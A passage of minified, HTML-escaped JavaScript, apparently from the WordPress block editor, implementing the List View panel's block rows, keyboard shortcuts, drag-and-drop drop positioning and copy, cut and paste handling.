b=Yf(t),k=xj({clientId:t,context:&quot;list-view&quot;}),{isLocked:v}=FE(t),{canToggleBlockVisibility:_,isBlockHidden:y,isContentOnly:x}=(0,g.useSelect)((e=&gt;{const{getBlockName:n}=e(Ii),{isBlockHidden:o}=U(e(Ii));return{canToggleBlockVisibility:(0,p.hasBlockSupport)(n(t),&quot;visibility&quot;,!0),isBlockHidden:o(t),isContentOnly:&quot;contentOnly&quot;===e(Ii).getBlockEditingMode(t)}}),[t]),S=v&amp;&amp;!x,w=_&amp;&amp;y,C=&quot;sticky&quot;===b?.positionType,B=hM({clientId:t,isExpanded:h});return(0,d.jsxs)(&quot;a&quot;,{className:gs(&quot;block-editor-list-view-block-select-button&quot;,e),onClick:n,onContextMenu:o,onKeyDown:function(e){e.keyCode!==$a.ENTER&amp;&amp;e.keyCode!==$a.SPACE||n(e)},onMouseDown:r,ref:f,tabIndex:s,onFocus:l,onDragStart:e=&gt;{e.dataTransfer.clearData(),a?.(e)},onDragEnd:c,draggable:u,href:`#block-${t}`,&quot;aria-describedby&quot;:m,&quot;aria-expanded&quot;:h,children:[(0,d.jsx)(dM,{onClick:i}),(0,d.jsx)(zu,{icon:b?.icon,showColors:!0,context:&quot;list-view&quot;}),(0,d.jsxs)(Ss.__experimentalHStack,{alignment:&quot;center&quot;,className:&quot;block-editor-list-view-block-select-button__label-wrapper&quot;,justify:&quot;flex-start&quot;,spacing:1,children:[(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view-block-select-button__title&quot;,children:(0,d.jsx)(Ss.__experimentalTruncate,{ellipsizeMode:&quot;auto&quot;,children:k})}),b?.anchor&amp;&amp;(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view-block-select-button__anchor-wrapper&quot;,children:(0,d.jsx)(gM,{className:&quot;block-editor-list-view-block-select-button__anchor&quot;,children:b.anchor})}),C&amp;&amp;(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view-block-select-button__sticky&quot;,children:(0,d.jsx)(Dl,{icon:cM})}),B.length?(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view-block-select-button__images&quot;,&quot;aria-hidden&quot;:!0,children:B.map(((e,t)=&gt;(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view-block-select-button__image&quot;,style:{backgroundImage:`url(${e.url})`,zIndex:B.length-t}},e.clientId)))}):null,w&amp;&amp;(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view-block-select-button__block-visibility&quot;,children:(0,d.jsx)(Dl,{icon:tT})}),S&amp;&amp;(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view-block-select-button__lock&quot;,children:(0,d.jsx)(Dl,{icon:uM})})]})]})}));const fM=(0,h.forwardRef)((({onClick:e,onToggleExpanded:t,block:n,isSelected:o,position:r,siblingBlockCount:i,level:s,isExpanded:l,selectedClientIds:a,...c},u)=&gt;{const{clientId:p}=n,{AdditionalBlockContent:h,insertedBlock:g,setInsertedBlock:m}=oM(),f=a.includes(p)?a:[p];return(0,d.jsxs)(d.Fragment,{children:[h&amp;&amp;(0,d.jsx)(h,{block:n,insertedBlock:g,setInsertedBlock:m}),(0,d.jsx)(Rj,{appendToOwnerDocument:!0,clientIds:f,cloneClassname:&quot;block-editor-list-view-draggable-chip&quot;,children:({draggable:a,onDragStart:p,onDragEnd:h})=&gt;(0,d.jsx)(mM,{ref:u,className:&quot;block-editor-list-view-block-contents&quot;,block:n,onClick:e,onToggleExpanded:t,isSelected:o,position:r,siblingBlockCount:i,level:s,draggable:a,onDragStart:p,onDragEnd:h,isExpanded:l,...c})})]})}));var bM=fM;function kM(e,t){const n=()=&gt;{const n=t?.querySelector(`[role=row][data-block=&quot;${e}&quot;]`);return n?Ua.focus.focusable.find(n)[0]:null};let o=n();o?o.focus():window.requestAnimationFrame((()=&gt;{o=n(),o&amp;&amp;o.focus()}))}var vM=(0,h.memo)((function e({block:{clientId:t},displacement:n,isAfterDraggedBlocks:o,isDragged:r,isNesting:i,isSelected:s,isBranchSelected:l,selectBlock:a,position:c,level:u,rowCount:f,siblingBlockCount:b,showBlockMovers:k,path:v,isExpanded:_,selectedClientIds:y,isSyncedBranch:x}){const S=(0,h.useRef)(null),w=(0,h.useRef)(null),C=(0,h.useRef)(null),[B,I]=(0,h.useState)(!1),[j,E]=(0,h.useState)(),{isLocked:M,canEdit:P,canMove:R}=FE(t),A=s&amp;&amp;y[0]===t,N=s&amp;&amp;y[y.length-1]===t,{toggleBlockHighlight:L,duplicateBlocks:D,multiSelect:O,replaceBlocks:z,removeBlocks:V,insertAfterBlock:F,insertBeforeBlock:H,setOpenedBlockSettingsMenu:G,updateBlockAttributes:$}=U((0,g.useDispatch)(Ii)),W=(0,m.useDebounce)(L,50),{canInsertBlockType:K,getSelectedBlockClientIds:Z,getPreviousBlockClientId:q,getBlockRootClientId:Y,getBlockOrder:X,getBlockParents:Q,getBlocksByClientId:J,canRemoveBlocks:ee,isGroupable:te}=(0,g.useSelect)(Ii),{getGroupingBlockName:ne}=(0,g.useSelect)(p.store),oe=Yf(t),re=PE(),{block:ie,blockName:se,allowRightClickOverrides:le,isBlockHidden:ae}=(0,g.useSelect)((e=&gt;{const{getBlock:n,getBlockName:o,getSettings:r}=e(Ii),{isBlockHidden:i}=U(e(Ii));return{block:n(t),blockName:o(t),allowRightClickOverrides:r().allowRightClickOverrides,isBlockHidden:i(t)}}),[t]),ce=(0,p.hasBlockSupport)(se,&quot;__experimentalToolbar&quot;,!0),ue=`list-view-block-select-button__description-${(0,m.useInstanceId)(e)}`,{expand:de,collapse:pe,collapseAll:he,BlockSettingsMenu:ge,listViewInstanceId:me,expandedState:fe,setInsertedBlock:be,treeGridElementRef:ke,rootClientId:ve}=oM(),_e=(0,qk.__unstableUseShortcutEventMatch)();function ye(){const e=Z(),n=e.includes(t),o=n?e[0]:t,r=Y(o);return{blocksToUpdate:n?e:[t],firstBlockClientId:o,firstBlockRootClientId:r,selectedBlockClientIds:e}}const xe=(0,h.useCallback)((()=&gt;{I(!0),W(t,!0)}),[t,I,W]),Se=(0,h.useCallback)((()=&gt;{I(!1),W(t,!1)}),[t,I,W]),we=(0,h.useCallback)((e=&gt;{a(e,t),e.preventDefault()}),[t,a]),Ce=(0,h.useCallback)(((e,t)=&gt;{t&amp;&amp;a(void 0,e,null,null),kM(e,ke?.current)}),[a,ke]),Be=(0,h.useCallback)((e=&gt;{e.preventDefault(),e.stopPropagation(),!0===_?pe(t):!1===_&amp;&amp;de(t)}),[t,de,pe,_]),Ie=(0,h.useCallback)((e=&gt;{ce&amp;&amp;le&amp;&amp;(C.current?.click(),E(new window.DOMRect(e.clientX,e.clientY,0,0)),e.preventDefault())}),[le,C,ce]),je=(0,h.useCallback)((e=&gt;{le&amp;&amp;2===e.button&amp;&amp;e.preventDefault()}),[le]),Ee=(0,h.useMemo)((()=&gt;{const{ownerDocument:e}=w?.current||{};if(j&amp;&amp;e)return{ownerDocument:e,getBoundingClientRect:()=&gt;j}}),[j]),Te=(0,h.useCallback)((()=&gt;{E(void 0)}),[E]);if(function({isSelected:e,selectedClientIds:t,rowItemRef:n}){const o=1===t.length;(0,h.useLayoutEffect)((()=&gt;{if(!e||!o||!n.current)return;const t=(0,Ua.getScrollContainer)(n.current),{ownerDocument:r}=n.current;if(t===r.body||t===r.documentElement||!t)return;const i=n.current.getBoundingClientRect(),s=t.getBoundingClientRect();(i.top&lt;s.top||i.bottom&gt;s.bottom)&amp;&amp;n.current.scrollIntoView()}),[e,o,n])}({isSelected:s,rowItemRef:w,selectedClientIds:y}),!ie)return null;const Me=((e,t,n)=&gt;(0,T.sprintf)((0,T.__)(&quot;Block %1$d of %2$d, Level %3$d.&quot;),e,t,n))(c,b,u),Pe=((e,t)=&gt;[e?.positionLabel?`${(0,T.sprintf)((0,T.__)(&quot;Position: %s&quot;),e.positionLabel)}.`:void 0,t?(0,T.__)(&quot;This block is locked.&quot;):void 0].filter(Boolean).join(&quot; &quot;))(oe,M),Re=ae?(0,T.__)(&quot;Block is hidden.&quot;):null,Ae=k&amp;&amp;b&gt;0,Ne=gs(&quot;block-editor-list-view-block__mover-cell&quot;,{&quot;is-visible&quot;:B||s}),Le=gs(&quot;block-editor-list-view-block__menu-cell&quot;,{&quot;is-visible&quot;:B||A});let De;Ae?De=2:ce||(De=3);const Oe=gs({&quot;is-selected&quot;:s,&quot;is-first-selected&quot;:A,&quot;is-last-selected&quot;:N,&quot;is-branch-selected&quot;:l,&quot;is-synced-branch&quot;:x,&quot;is-dragging&quot;:r,&quot;has-single-cell&quot;:!ce,&quot;is-synced&quot;:oe?.isSynced,&quot;is-draggable&quot;:R,&quot;is-displacement-normal&quot;:&quot;normal&quot;===n,&quot;is-displacement-up&quot;:&quot;up&quot;===n,&quot;is-displacement-down&quot;:&quot;down&quot;===n,&quot;is-after-dragged-blocks&quot;:o,&quot;is-nesting&quot;:i}),ze=y.includes(t)?y:[t],Ve=s&amp;&amp;1===y.length;return(0,d.jsxs)(aM,{className:Oe,isDragged:r,onKeyDown:async function(e){if(e.defaultPrevented)return;if(e.target.closest(&quot;[role=dialog]&quot;))return;const t=[$a.BACKSPACE,$a.DELETE].includes(e.keyCode);if(_e(&quot;core/block-editor/unselect&quot;,e)&amp;&amp;y.length&gt;0)e.stopPropagation(),e.preventDefault(),a(e,void 0);else if(t||_e(&quot;core/block-editor/remove&quot;,e)){const{blocksToUpdate:e,firstBlockClientId:t,firstBlockRootClientId:n,selectedBlockClientIds:o}=ye();if(!ee(e))return;let r=q(t)??n;V(e,!1);const i=o.length&gt;0&amp;&amp;0===Z().length;r||(r=X()[0]),Ce(r,i)}else if(_e(&quot;core/block-editor/paste-styles&quot;,e)){e.preventDefault();const{blocksToUpdate:t}=ye(),n=J(t);re(n)}else if(_e(&quot;core/block-editor/duplicate&quot;,e)){e.preventDefault();const{blocksToUpdate:t,firstBlockRootClientId:n}=ye();if(J(t).every((e=&gt;!!e&amp;&amp;(0,p.hasBlockSupport)(e.name,&quot;multiple&quot;,!0)&amp;&amp;K(e.name,n)))){const e=await D(t,!1);e?.length&amp;&amp;Ce(e[0],!1)}}else if(_e(&quot;core/block-editor/insert-before&quot;,e)){e.preventDefault();const{blocksToUpdate:t}=ye();await H(t[0]);const n=Z();G(void 0),Ce(n[0],!1)}else if(_e(&quot;core/block-editor/insert-after&quot;,e)){e.preventDefault();const{blocksToUpdate:t}=ye();await F(t.at(-1));const n=Z();G(void 0),Ce(n[0],!1)}else if(_e(&quot;core/block-editor/select-all&quot;,e)){e.preventDefault();const{firstBlockRootClientId:t,selectedBlockClientIds:n}=ye(),o=X(t);if(!o.length)return;if(Qa()(n,o)&amp;&amp;t&amp;&amp;t!==ve)return void Ce(t,!0);O(o[0],o[o.length-1],null)}else if(_e(&quot;core/block-editor/collapse-list-view&quot;,e)){e.preventDefault();const{firstBlockClientId:t}=ye(),n=Q(t,!1);he(),de(n)}else if(_e(&quot;core/block-editor/group&quot;,e)){const{blocksToUpdate:t}=ye();if(t.length&gt;1&amp;&amp;te(t)){e.preventDefault();const n=J(t),o=ne(),r=(0,p.switchToBlockType)(n,o);z(t,r),(0,Ho.speak)((0,T.__)(&quot;Selected blocks are grouped.&quot;));const i=Z();G(void 0),Ce(i[0],!1)}}else if(_e(&quot;core/block-editor/toggle-block-visibility&quot;,e)){e.preventDefault();const{blocksToUpdate:t}=ye(),n=J(t);if(!n.every((e=&gt;(0,p.hasBlockSupport)(e.name,&quot;visibility&quot;,!0))))return;const o=n.some((e=&gt;!1===e.attributes.metadata?.blockVisibility)),r=Object.fromEntries(n.map((({clientId:e,attributes:t})=&gt;[e,{metadata:ms({...t?.metadata,blockVisibility:!!o&amp;&amp;void 0})}])));$(t,r,{uniqueByBlock:!0})}},onMouseEnter:xe,onMouseLeave:Se,onFocus:xe,onBlur:Se,level:u,position:c,rowCount:f,path:v,id:`list-view-${me}-block-${t}`,&quot;data-block&quot;:t,&quot;data-expanded&quot;:P?_:void 0,ref:w,children:[(0,d.jsx)(Ss.__experimentalTreeGridCell,{className:&quot;block-editor-list-view-block__contents-cell&quot;,colSpan:De,ref:S,&quot;aria-selected&quot;:!!s,children:({ref:e,tabIndex:t,onFocus:n})=&gt;(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-list-view-block__contents-container&quot;,children:[(0,d.jsx)(bM,{block:ie,onClick:we,onContextMenu:Ie,onMouseDown:je,onToggleExpanded:Be,isSelected:s,position:c,siblingBlockCount:b,level:u,ref:e,tabIndex:Ve?0:t,onFocus:n,isExpanded:P?_:void 0,selectedClientIds:y,ariaDescribedBy:ue}),(0,d.jsx)(rM,{id:ue,children:[Me,Pe,Re].filter(Boolean).join(&quot; &quot;)})]})}),Ae&amp;&amp;(0,d.jsx)(d.Fragment,{children:(0,d.jsxs)(Ss.__experimentalTreeGridCell,{className:Ne,withoutGridItem:!0,children:[(0,d.jsx)(Ss.__experimentalTreeGridItem,{children:({ref:e,tabIndex:n,onFocus:o})=&gt;(0,d.jsx)(zj,{orientation:&quot;vertical&quot;,clientIds:[t],ref:e,tabIndex:n,onFocus:o})}),(0,d.jsx)(Ss.__experimentalTreeGridItem,{children:({ref:e,tabIndex:n,onFocus:o})=&gt;(0,d.jsx)(Vj,{orientation:&quot;vertical&quot;,clientIds:[t],ref:e,tabIndex:n,onFocus:o})})]})}),ce&amp;&amp;ge&amp;&amp;(0,d.jsx)(Ss.__experimentalTreeGridCell,{className:Le,&quot;aria-selected&quot;:!!s,ref:C,children:({ref:e,tabIndex:t,onFocus:n})=&gt;(0,d.jsx)(ge,{clientIds:ze,block:ie,icon:mv,label:(0,T.__)(&quot;Options&quot;),popoverProps:{anchor:Ee},toggleProps:{ref:e,className:&quot;block-editor-list-view-block__menu&quot;,tabIndex:t,onClick:Te,onFocus:n,size:&quot;small&quot;},disableOpenOnArrowDown:!0,expand:de,expandedState:fe,setInsertedBlock:be,__experimentalSelectBlock:Ce})})]})}));function _M(e,t,n,o){const r=n?.includes(e.clientId);if(r)return 0;return t[e.clientId]??o?1+e.innerBlocks.reduce(yM(t,n,o),0):1}const yM=(e,t,n)=&gt;(o,r)=&gt;{const i=t?.includes(r.clientId);if(i)return o;return(e[r.clientId]??n)&amp;&amp;r.innerBlocks.length&gt;0?o+_M(r,e,t,n):o+1},xM=()=&gt;{};var SM=(0,h.memo)((function e(t){const{blocks:n,selectBlock:o=xM,showBlockMovers:r,selectedClientIds:i,level:s=1,path:l=&quot;&quot;,isBranchSelected:a=!1,listPosition:c=0,fixedListWindow:u,isExpanded:p,parentId:m,shouldShowInnerBlocks:f=!0,isSyncedBranch:b=!1,showAppender:k=!0}=t,v=Yf(m),_=b||!!v?.isSynced,y=(0,g.useSelect)((e=&gt;!m||e(Ii).canEditBlock(m)),[m]),{blockDropPosition:x,blockDropTargetIndex:S,firstDraggedBlockIndex:w,blockIndexes:C,expandedState:B,draggedClientIds:I}=oM(),j=(0,h.useRef)();if(!y)return null;const E=k&amp;&amp;1===s,T=n.filter(Boolean),M=T.length,P=E?M+1:M;return j.current=c,(0,d.jsxs)(d.Fragment,{children:[T.map(((t,n)=&gt;{const{clientId:c,innerBlocks:h}=t;n&gt;0&amp;&amp;(j.current+=_M(T[n-1],B,I,p));const m=!!I?.includes(c),{displacement:b,isAfterDraggedBlocks:k,isNesting:v}=function({blockIndexes:e,blockDropTargetIndex:t,blockDropPosition:n,clientId:o,firstDraggedBlockIndex:r,isDragged:i}){let s,l,a;if(!i){l=!1;const i=e[o];a=i&gt;r,null!=t&amp;&amp;void 0!==r?void 0!==i&amp;&amp;(s=i&gt;=r&amp;&amp;i&lt;t?&quot;up&quot;:i&lt;r&amp;&amp;i&gt;=t?&quot;down&quot;:&quot;normal&quot;,l=&quot;number&quot;==typeof t&amp;&amp;t-1===i&amp;&amp;&quot;inside&quot;===n):null===t&amp;&amp;void 0!==r?s=void 0!==i&amp;&amp;i&gt;=r?&quot;up&quot;:&quot;normal&quot;:null!=t&amp;&amp;void 0===r?void 0!==i&amp;&amp;(s=i&lt;t?&quot;normal&quot;:&quot;down&quot;):null===t&amp;&amp;(s=&quot;normal&quot;)}return{displacement:s,isNesting:l,isAfterDraggedBlocks:a}}({blockIndexes:C,blockDropTargetIndex:S,blockDropPosition:x,clientId:c,firstDraggedBlockIndex:w,isDragged:m}),{itemInView:y}=u,E=y(j.current),R=n+1,A=l.length&gt;0?`${l}_${R}`:`${R}`,N=!!h?.length,L=N&amp;&amp;f?B[c]??p:void 0,D=((e,t)=&gt;Array.isArray(t)&amp;&amp;t.length?-1!==t.indexOf(e):t===e)(c,i),O=a||D&amp;&amp;N,z=m||E||D&amp;&amp;c===i[0]||0===n||n===M-1;return(0,d.jsxs)(g.AsyncModeProvider,{value:!D,children:[z&amp;&amp;(0,d.jsx)(vM,{block:t,selectBlock:o,isSelected:D,isBranchSelected:O,isDragged:m,level:s,position:R,rowCount:P,siblingBlockCount:M,showBlockMovers:r,path:A,isExpanded:!m&amp;&amp;L,listPosition:j.current,selectedClientIds:i,isSyncedBranch:_,displacement:b,isAfterDraggedBlocks:k,isNesting:v}),!z&amp;&amp;(0,d.jsx)(&quot;tr&quot;,{children:(0,d.jsx)(&quot;td&quot;,{className:&quot;block-editor-list-view-placeholder&quot;})}),N&amp;&amp;L&amp;&amp;!m&amp;&amp;(0,d.jsx)(e,{parentId:c,blocks:h,selectBlock:o,showBlockMovers:r,level:s+1,path:A,listPosition:j.current+1,fixedListWindow:u,isBranchSelected:O,selectedClientIds:i,isExpanded:p,isSyncedBranch:_})]},c)})),E&amp;&amp;(0,d.jsx)(Ss.__experimentalTreeGridRow,{level:s,setSize:P,positionInSet:P,isExpanded:!0,children:(0,d.jsx)(Ss.__experimentalTreeGridCell,{children:e=&gt;(0,d.jsx)(iM,{clientId:m,nestingLevel:s,blockCount:M,...e})})})]})}));function wM({draggedBlockClientId:e,listViewRef:t,blockDropTarget:n}){const o=Yf(e),r=xj({clientId:e,context:&quot;list-view&quot;}),{rootClientId:i,clientId:s,dropPosition:l}=n||{},[a,c]=(0,h.useMemo)((()=&gt;{if(!t.current)return[];return[i?t.current.querySelector(`[data-block=&quot;${i}&quot;]`):void 0,s?t.current.querySelector(`[data-block=&quot;${s}&quot;]`):void 0]}),[t,i,s]),u=c||a,p=(0,T.isRTL)(),g=(0,h.useCallback)(((e,t)=&gt;{if(!u)return 0;let n=u.offsetWidth;const o=(0,Ua.getScrollContainer)(u,&quot;horizontal&quot;),r=u.ownerDocument,i=o===r.body||o===r.documentElement;if(o&amp;&amp;!i){const r=o.getBoundingClientRect(),i=(0,T.isRTL)()?r.right-e.right:e.left-r.left,s=o.clientWidth;if(s&lt;n+i&amp;&amp;(n=s-i),!p&amp;&amp;e.left+t&lt;r.left)return n-=r.left-e.left,n;if(p&amp;&amp;e.right-t&gt;r.right)return n-=e.right-r.right,n}return n-t}),[p,u]),m=(0,h.useMemo)((()=&gt;{if(!u)return{};const e=u.getBoundingClientRect();return{width:g(e,0)}}),[g,u]),f=(0,h.useMemo)((()=&gt;{if(!u)return{};const e=(0,Ua.getScrollContainer)(u),t=u.ownerDocument,n=e===t.body||e===t.documentElement;if(e&amp;&amp;!n){const t=e.getBoundingClientRect(),n=u.getBoundingClientRect(),o=p?t.right-n.right:n.left-t.left;if(!p&amp;&amp;t.left&gt;n.left)return{transform:`translateX( ${o}px )`};if(p&amp;&amp;t.right&lt;n.right)return{transform:`translateX( ${-1*o}px )`}}return{}}),[p,u]),b=(0,h.useMemo)((()=&gt;{if(!a)return 1;const e=parseInt(a.getAttribute(&quot;aria-level&quot;),10);return e?e+1:1}),[a]),k=(0,h.useMemo)((()=&gt;!!u&amp;&amp;u.classList.contains(&quot;is-branch-selected&quot;)),[u]),v=(0,h.useMemo)((()=&gt;{if(u&amp;&amp;(&quot;top&quot;===l||&quot;bottom&quot;===l||&quot;inside&quot;===l))return{contextElement:u,getBoundingClientRect(){const e=u.getBoundingClientRect();let t=e.left,n=0;const o=(0,Ua.getScrollContainer)(u,&quot;horizontal&quot;),r=u.ownerDocument,i=o===r.body||o===r.documentElement;if(o&amp;&amp;!i){const e=o.getBoundingClientRect(),n=p?o.offsetWidth-o.clientWidth:0;t&lt;e.left+n&amp;&amp;(t=e.left+n)}n=&quot;top&quot;===l?e.top-2*e.height:e.top;const s=g(e,0),a=e.height;return new window.DOMRect(t,n,s,a)}}}),[u,l,g,p]);return u?(0,d.jsx)(Ss.Popover,{animate:!1,anchor:v,focusOnMount:!1,className:&quot;block-editor-list-view-drop-indicator--preview&quot;,variant:&quot;unstyled&quot;,flip:!1,resize:!0,children:(0,d.jsx)(&quot;div&quot;,{style:m,className:gs(&quot;block-editor-list-view-drop-indicator__line&quot;,{&quot;block-editor-list-view-drop-indicator__line--darker&quot;:k}),children:(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-list-view-leaf&quot;,&quot;aria-level&quot;:b,children:[(0,d.jsxs)(&quot;div&quot;,{className:gs(&quot;block-editor-list-view-block-select-button&quot;,&quot;block-editor-list-view-block-contents&quot;),style:f,children:[(0,d.jsx)(dM,{onClick:()=&gt;{}}),(0,d.jsx)(zu,{icon:o?.icon,showColors:!0,context:&quot;list-view&quot;}),(0,d.jsx)(Ss.__experimentalHStack,{alignment:&quot;center&quot;,className:&quot;block-editor-list-view-block-select-button__label-wrapper&quot;,justify:&quot;flex-start&quot;,spacing:1,children:(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-list-view-block-select-button__title&quot;,children:(0,d.jsx)(Ss.__experimentalTruncate,{ellipsizeMode:&quot;auto&quot;,children:r})})})]}),(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-list-view-block__menu-cell&quot;})]})})}):null}function CM(){const{clearSelectedBlock:e,multiSelect:t,selectBlock:n}=(0,g.useDispatch)(Ii),{getBlockName:o,getBlockParents:r,getBlockSelectionStart:i,getSelectedBlockClientIds:s,hasMultiSelection:l,hasSelectedBlock:a}=(0,g.useSelect)(Ii),{getBlockType:c}=(0,g.useSelect)(p.store);return{updateBlockSelection:(0,h.useCallback)((async(u,d,p,h)=&gt;{if(!u?.shiftKey&amp;&amp;u?.keyCode!==$a.ESCAPE)return void n(d,h);u.preventDefault();const g=&quot;keydown&quot;===u.type&amp;&amp;u.keyCode===$a.ESCAPE,m=&quot;keydown&quot;===u.type&amp;&amp;(u.keyCode===$a.UP||u.keyCode===$a.DOWN||u.keyCode===$a.HOME||u.keyCode===$a.END);if(!m&amp;&amp;!a()&amp;&amp;!l())return void n(d,null);const f=s(),b=[...r(d),d];if((g||m&amp;&amp;!f.some((e=&gt;b.includes(e))))&amp;&amp;await e(),!g){let e=i(),n=d;m&amp;&amp;(a()||l()||(e=d),p&amp;&amp;(n=p));const o=r(e),s=r(n),{start:c,end:u}=function(e,t,n,o){const r=[...n,e],i=[...o,t],s=Math.min(r.length,i.length)-1;return{start:r[s],end:i[s]}}(e,n,o,s);await t(c,u,null)}const k=s();if((u.keyCode===$a.HOME||u.keyCode===$a.END)&amp;&amp;k.length&gt;1)return;const v=f.filter((e=&gt;!k.includes(e)));let _;if(1===v.length){const e=c(o(v[0]))?.title;e&amp;&amp;(_=(0,T.sprintf)((0,T.__)(&quot;%s deselected.&quot;),e))}else v.length&gt;1&amp;&amp;(_=(0,T.sprintf)((0,T.__)(&quot;%s blocks deselected.&quot;),v.length));_&amp;&amp;(0,Ho.speak)(_,&quot;assertive&quot;)}),[e,o,c,r,i,s,l,a,t,n])}}const BM=24;function IM(e,t){const n=e[t+1];return n&amp;&amp;n.isDraggedBlock?IM(e,t+1):n}const jM=[&quot;top&quot;,&quot;bottom&quot;];function EM(e,t,n=!1){let o,r,i,s,l;for(let n=0;n&lt;e.length;n++){const a=e[n];if(a.isDraggedBlock)continue;const c=a.element.getBoundingClientRect(),[u,d]=OS(t,c,jM),p=zS(t,c);if(void 0===i||u&lt;i||p){i=u;const t=e.indexOf(a),n=e[t-1];if(&quot;top&quot;===d&amp;&amp;n&amp;&amp;n.rootClientId===a.rootClientId&amp;&amp;!n.isDraggedBlock?(r=n,o=&quot;bottom&quot;,s=n.element.getBoundingClientRect(),l=t-1):(r=a,o=d,s=c,l=t),p)break}}if(!r)return;const a=function(e,t){const n=[];let o=e;for(;o;)n.push({...o}),o=t.find((e=&gt;e.clientId===o.rootClientId));return n}(r,e),c=&quot;bottom&quot;===o;if(c&amp;&amp;r.canInsertDraggedBlocksAsChild&amp;&amp;(r.innerBlockCount&gt;0&amp;&amp;r.isExpanded||function(e,t,n=1,o=!1){const r=o?t.right-n*BM:t.left+n*BM;return(o?e.x&lt;r-BM:e.x&gt;r+BM)&amp;&amp;e.y&lt;t.bottom}(t,s,a.length,n))){const e=r.isExpanded?0:r.innerBlockCount||0;return{rootClientId:r.clientId,clientId:r.clientId,blockIndex:e,dropPosition:&quot;inside&quot;}}if(c&amp;&amp;r.rootClientId&amp;&amp;function(e,t,n=1,o=!1){const r=o?t.right-n*BM:t.left+n*BM;return o?e.x&gt;r:e.x&lt;r}(t,s,a.length,n)){const i=IM(e,l),c=r.nestingLevel,u=i?i.nestingLevel:1;if(c&amp;&amp;u){const d=function(e,t,n=1,o=!1){const r=o?t.right-n*BM:t.left+n*BM,i=o?r-e.x:e.x-r,s=Math.round(i/BM);return Math.abs(s)}(t,s,a.length,n),p=Math.max(Math.min(d,c-u),0);if(a[p]){let t=r.blockIndex;if(a[p].nestingLevel===i?.nestingLevel)t=i?.blockIndex;else for(let n=l;n&gt;=0;n--){const o=e[n];if(o.rootClientId===a[p].rootClientId){t=o.blockIndex+1;break}}return{rootClientId:a[p].rootClientId,clientId:r.clientId,blockIndex:t,dropPosition:o}}}}if(!r.canInsertDraggedBlocksAsSibling)return;const u=c?1:0;return{rootClientId:r.rootClientId,clientId:r.clientId,blockIndex:r.blockIndex+u,dropPosition:o}}const TM={leading:!1,trailing:!0};function MM({selectBlock:e}){const t=(0,g.useRegistry)(),{getBlockOrder:n,getBlockRootClientId:o,getBlocksByClientId:r,getPreviousBlockClientId:i,getSelectedBlockClientIds:s,getSettings:l,canInsertBlockType:a,canRemoveBlocks:c}=(0,g.useSelect)(Ii),{flashBlock:u,removeBlocks:d,replaceBlocks:h,insertBlocks:f}=(0,g.useDispatch)(Ii),b=Iw();return(0,m.useRefEffect)((g=&gt;{function m(t,n){n&amp;&amp;e(void 0,t,null,null),kM(t,g)}function k(e){if(e.defaultPrevented)return;if(!g.contains(e.target.ownerDocument.activeElement))return;const k=e.target.ownerDocument.activeElement?.closest(&quot;[role=row]&quot;),v=k?.dataset?.block;if(!v)return;const{blocksToUpdate:_,firstBlockClientId:y,firstBlockRootClientId:x,originallySelectedBlockClientIds:S}=function(e){const t=s(),n=t.includes(e),r=n?t[0]:e;return{blocksToUpdate:n?t:[e],firstBlockClientId:r,firstBlockRootClientId:o(r),originallySelectedBlockClientIds:t}}(v);if(0!==_.length){if(e.preventDefault(),&quot;copy&quot;===e.type||&quot;cut&quot;===e.type){1===_.length&amp;&amp;u(_[0]),b(e.type,_);Tw(e,r(_),t)}if(&quot;cut&quot;===e.type){if(!c(_))return;let e=i(y)??x;d(_,!1);const t=S.length&gt;0&amp;&amp;0===s().length;e||(e=n()[0]),m(e,t)}else if(&quot;paste&quot;===e.type){const{__experimentalCanUserUseUnfilteredHTML:t}=l(),n=function(e,t){const{plainText:n,html:o,files:r}=jw(e);let i=[];if(r.length){const e=(0,p.getBlockTransforms)(&quot;from&quot;);i=r.reduce(((t,n)=&gt;{const o=(0,p.findTransform)(e,(e=&gt;&quot;files&quot;===e.type&amp;&amp;e.isMatch([n])));return o&amp;&amp;t.push(o.transform([n])),t}),[]).flat()}else i=(0,p.pasteHandler)({HTML:o,plainText:n,mode:&quot;BLOCKS&quot;,canUserUseUnfilteredHTML:t});return i}(e,t);if(1===_.length){const[e]=_;if(n.every((t=&gt;a(t.name,e))))return f(n,void 0,e),void m(n[0]?.clientId,!1)}h(_,n,n.length-1,-1),m(n[0]?.clientId,!1)}}}return g.ownerDocument.addEventListener(&quot;copy&quot;,k),g.ownerDocument.addEventListener(&quot;cut&quot;,k),g.ownerDocument.addEventListener(&quot;paste&quot;,k),()=&gt;{g.ownerDocument.removeEventListener(&quot;copy&quot;,k),g.ownerDocument.removeEventListener(&quot;cut&quot;,k),g.ownerDocument.removeEventListener(&quot;paste&quot;,k)}}),[])}const PM=(e,t)=&gt;&quot;clear&quot;===t.type?{}:Array.isArray(t.clientIds)?{...e,...t.clientIds.reduce(((e,n)=&gt;({...e,[n]:&quot;expand&quot;===t.type})),{})}:e;const RM=(0,h.forwardRef)((function e({id:t,blocks:n,dropZoneElement:o,showBlockMovers:r=!1,isExpanded:i=!1,showAppender:s=!1,blockSettingsMenu:l=uT,rootClientId:a,description:c,onSelect:u,additionalBlockContent:p},f){n&amp;&amp;I()(&quot;`blocks` property in `wp.blockEditor.__experimentalListView`&quot;,{since:&quot;6.3&quot;,alternative:&quot;`rootClientId` property&quot;});const b=(0,m.useInstanceId)(e),{clientIdsTree:k,draggedClientIds:v,selectedClientIds:_}=function({blocks:e,rootClientId:t}){return(0,g.useSelect)((n=&gt;{const{getDraggedBlockClientIds:o,getSelectedBlockClientIds:r,getEnabledClientIdsTree:i}=U(n(Ii));return{selectedClientIds:r(),draggedClientIds:o(),clientIdsTree:e??i(t)}}),[e,t])}({blocks:n,rootClientId:a}),y=function(e){return(0,h.useMemo)((()=&gt;{const t={};let n=0;const o=e=&gt;{e.forEach((e=&gt;{t[e.clientId]=n,n++,e.innerBlocks.length&gt;0&amp;&amp;o(e.innerBlocks)}))};return 